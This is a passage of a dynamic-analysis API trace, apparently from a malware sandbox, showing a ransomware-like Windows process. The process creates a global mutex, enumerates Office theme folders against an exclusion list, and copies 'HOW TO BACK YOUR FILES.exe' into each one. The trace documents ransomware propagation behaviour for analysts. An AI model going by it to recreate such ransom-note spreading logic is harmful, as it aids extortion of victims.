lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" [0117.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ae70 | out: hHeap=0x4f0000) returned 1 [0117.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 55 [0117.029] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7F9911B1A8FE085AEC6C058D980BD5BF") returned 0xec [0117.029] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.029] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" [0117.029] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.030] GetLastError () returned 0x0 [0117.030] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0117.030] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.031] CloseHandle (hObject=0xf4) returned 1 [0117.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0117.031] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.031] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.031] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.031] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.031] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.032] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.032] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.032] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.032] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.032] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2=".") returned 1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="..") returned 1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="windows") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="bootmgr") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="temp") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="pagefile.sys") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="boot") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="ids.txt") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="ntuser.dat") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="perflogs") returned -1 [0117.032] lstrcmpiW (lpString1="AFTRNOON", lpString2="MSBuild") returned -1 [0117.032] lstrlenW (lpString="AFTRNOON") returned 8 [0117.032] lstrcpyW (in: lpString1=0x241e8b8, lpString2="AFTRNOON" | out: lpString1="AFTRNOON") returned="AFTRNOON" [0117.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae70 [0117.033] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5154d8 [0117.033] lstrcatW (in: lpString1="AFTRNOON", lpString2="\\" | out: lpString1="AFTRNOON\\") returned="AFTRNOON\\" [0117.033] lstrcatW (in: lpString1="AFTRNOON\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AFTRNOON\\HOW TO BACK YOUR FILES.exe") returned="AFTRNOON\\HOW TO BACK YOUR FILES.exe" [0117.033] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.037] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2=".") returned 1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="..") returned 1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="windows") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="bootmgr") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="temp") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="pagefile.sys") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="boot") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="ids.txt") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="ntuser.dat") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="perflogs") returned -1 [0117.037] lstrcmpiW (lpString1="ARCTIC", lpString2="MSBuild") returned -1 [0117.037] lstrlenW (lpString="ARCTIC") returned 6 [0117.038] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ARCTIC" | out: lpString1="ARCTIC") returned="ARCTIC" [0117.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae40 [0117.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519bb8 [0117.038] lstrcatW (in: lpString1="ARCTIC", lpString2="\\" | out: lpString1="ARCTIC\\") returned="ARCTIC\\" [0117.038] lstrcatW (in: lpString1="ARCTIC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARCTIC\\HOW TO BACK YOUR FILES.exe") returned="ARCTIC\\HOW TO BACK YOUR FILES.exe" [0117.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.040] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0117.040] lstrcmpiW (lpString1="AXIS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2=".") returned 1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="..") returned 1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="windows") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="bootmgr") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="temp") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="pagefile.sys") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="boot") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="ids.txt") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="ntuser.dat") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="perflogs") returned -1 [0117.041] lstrcmpiW (lpString1="AXIS", lpString2="MSBuild") returned -1 [0117.041] lstrlenW (lpString="AXIS") returned 4 [0117.041] lstrcpyW (in: lpString1=0x241e8b8, lpString2="AXIS" | out: lpString1="AXIS") returned="AXIS" [0117.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae28 [0117.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519b30 [0117.041] lstrcatW (in: lpString1="AXIS", lpString2="\\" | out: lpString1="AXIS\\") returned="AXIS\\" [0117.041] lstrcatW (in: lpString1="AXIS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AXIS\\HOW TO BACK YOUR FILES.exe") returned="AXIS\\HOW TO BACK YOUR FILES.exe" [0117.041] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.044] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2=".") returned 1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="..") returned 1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="windows") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="bootmgr") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="temp") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="pagefile.sys") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="boot") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="ids.txt") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="ntuser.dat") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="perflogs") returned -1 [0117.044] lstrcmpiW (lpString1="BLENDS", lpString2="MSBuild") returned -1 [0117.045] lstrlenW (lpString="BLENDS") returned 6 [0117.045] lstrcpyW (in: lpString1=0x241e8b8, lpString2="BLENDS" | out: lpString1="BLENDS") returned="BLENDS" [0117.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547930 [0117.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519aa8 [0117.045] lstrcatW (in: lpString1="BLENDS", lpString2="\\" | out: lpString1="BLENDS\\") returned="BLENDS\\" [0117.045] lstrcatW (in: lpString1="BLENDS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BLENDS\\HOW TO BACK YOUR FILES.exe") returned="BLENDS\\HOW TO BACK YOUR FILES.exe" [0117.045] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2=".") returned 1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="..") returned 1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="windows") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="bootmgr") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="temp") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="pagefile.sys") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="boot") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="ids.txt") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="ntuser.dat") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="perflogs") returned -1 [0117.048] lstrcmpiW (lpString1="BLUECALM", lpString2="MSBuild") returned -1 [0117.048] lstrlenW (lpString="BLUECALM") returned 8 [0117.048] lstrcpyW (in: lpString1=0x241e8b8, lpString2="BLUECALM" | out: lpString1="BLUECALM") returned="BLUECALM" [0117.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547948 [0117.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515568 [0117.048] lstrcatW (in: lpString1="BLUECALM", lpString2="\\" | out: lpString1="BLUECALM\\") returned="BLUECALM\\" [0117.048] lstrcatW (in: lpString1="BLUECALM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BLUECALM\\HOW TO BACK YOUR FILES.exe") returned="BLUECALM\\HOW TO BACK YOUR FILES.exe" [0117.048] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.054] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0117.054] lstrcmpiW (lpString1="BLUEPRNT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.054] lstrcmpiW (lpString1="BLUEPRNT", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.054] lstrcmpiW (lpString1="BLUEPRNT", lpString2=".") returned 1 [0117.054] lstrcmpiW (lpString1="BLUEPRNT", lpString2="..") returned 1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="windows") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="bootmgr") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="temp") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="pagefile.sys") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="boot") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="ids.txt") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="ntuser.dat") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="perflogs") returned -1 [0117.055] lstrcmpiW (lpString1="BLUEPRNT", lpString2="MSBuild") returned -1 [0117.055] lstrlenW (lpString="BLUEPRNT") returned 8 [0117.055] lstrcpyW (in: lpString1=0x241e8b8, lpString2="BLUEPRNT" | out: lpString1="BLUEPRNT") returned="BLUEPRNT" [0117.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547960 [0117.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5155f8 [0117.055] lstrcatW (in: lpString1="BLUEPRNT", lpString2="\\" | out: lpString1="BLUEPRNT\\") returned="BLUEPRNT\\" [0117.055] lstrcatW (in: lpString1="BLUEPRNT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BLUEPRNT\\HOW TO BACK YOUR FILES.exe") returned="BLUEPRNT\\HOW TO BACK YOUR FILES.exe" [0117.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.059] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2=".") returned 1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="..") returned 1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="windows") returned -1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="bootmgr") returned -1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="temp") returned -1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="pagefile.sys") returned -1 [0117.059] lstrcmpiW (lpString1="BOLDSTRI", lpString2="boot") returned -1 [0117.060] lstrcmpiW (lpString1="BOLDSTRI", lpString2="ids.txt") returned -1 [0117.060] lstrcmpiW (lpString1="BOLDSTRI", lpString2="ntuser.dat") returned -1 [0117.060] lstrcmpiW (lpString1="BOLDSTRI", lpString2="perflogs") returned -1 [0117.060] lstrcmpiW (lpString1="BOLDSTRI", lpString2="MSBuild") returned -1 [0117.060] lstrlenW (lpString="BOLDSTRI") returned 8 [0117.060] lstrcpyW (in: lpString1=0x241e8b8, lpString2="BOLDSTRI" | out: lpString1="BOLDSTRI") returned="BOLDSTRI" [0117.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547978 [0117.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515688 [0117.060] lstrcatW (in: lpString1="BOLDSTRI", lpString2="\\" | out: lpString1="BOLDSTRI\\") returned="BOLDSTRI\\" [0117.060] lstrcatW (in: lpString1="BOLDSTRI\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BOLDSTRI\\HOW TO BACK YOUR FILES.exe") returned="BOLDSTRI\\HOW TO BACK YOUR FILES.exe" [0117.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.066] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2=".") returned 1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="..") returned 1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="windows") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="bootmgr") returned 1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="temp") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="pagefile.sys") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="boot") returned 1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="ids.txt") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="ntuser.dat") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="perflogs") returned -1 [0117.066] lstrcmpiW (lpString1="BREEZE", lpString2="MSBuild") returned -1 [0117.066] lstrlenW (lpString="BREEZE") returned 6 [0117.066] lstrcpyW (in: lpString1=0x241e8b8, lpString2="BREEZE" | out: lpString1="BREEZE") returned="BREEZE" [0117.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547990 [0117.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519a20 [0117.067] lstrcatW (in: lpString1="BREEZE", lpString2="\\" | out: lpString1="BREEZE\\") returned="BREEZE\\" [0117.067] lstrcatW (in: lpString1="BREEZE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BREEZE\\HOW TO BACK YOUR FILES.exe") returned="BREEZE\\HOW TO BACK YOUR FILES.exe" [0117.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.070] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0117.070] lstrcmpiW (lpString1="CANYON", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.070] lstrcmpiW (lpString1="CANYON", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.070] lstrcmpiW (lpString1="CANYON", lpString2=".") returned 1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="..") returned 1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="windows") returned -1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="bootmgr") returned 1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="temp") returned -1 [0117.071] lstrcmpiW (lpString1="CANYON", 